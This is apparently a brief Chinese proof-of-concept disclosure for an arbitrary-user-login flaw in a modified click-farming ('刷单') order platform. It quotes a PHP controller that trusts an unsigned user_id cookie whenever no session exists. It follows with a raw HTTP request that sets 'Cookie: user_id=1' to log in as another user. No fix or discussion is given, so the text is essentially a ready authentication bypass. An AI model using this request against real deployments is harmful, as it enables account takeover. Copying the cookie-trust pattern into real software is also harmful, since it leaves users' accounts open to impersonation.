某二开版海外抢单Shua单系统存在任意用户登录漏洞

/*** 验证登录控制器*/class Base extends Controller{  protected $rule = ['__token__' => 'token'];  protected $msg = ['__token__' => '无效token！'];  protected $_uid;  function __construct(App $app){    parent::__construct($app);    if (config('shop_status') == 0) exit();    $uid = session('user_id');    if (!$uid) {      $uid = cookie('user_id');    }    //echo App::VERSION;exit;    /*if (request()->subDomain() == 'cs' || request()->subDomain() == '') {    header('Location:' . 'https://www.' . request()->rootDomain());    exit();  }*/    $controller = strtolower(request()->controller());    if ($controller == 'user') return;    if (!$uid && request()->isPost()) {      $this->error(lang('no_login'));    }    if (!$uid) $this->redirect('User/login');    $this->_uid = $uid;  }}

GET /index/index HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Connection: keep-aliveContent-Length: 73Content-Type: application/x-www-form-urlencoded; charset=UTF-8Cookie: user_id=1Host: 127.0.0.1:81Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36User-Token-Csrf: csrf66e28d7ebbffaX-Requested-With: XMLHttpRequestsec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"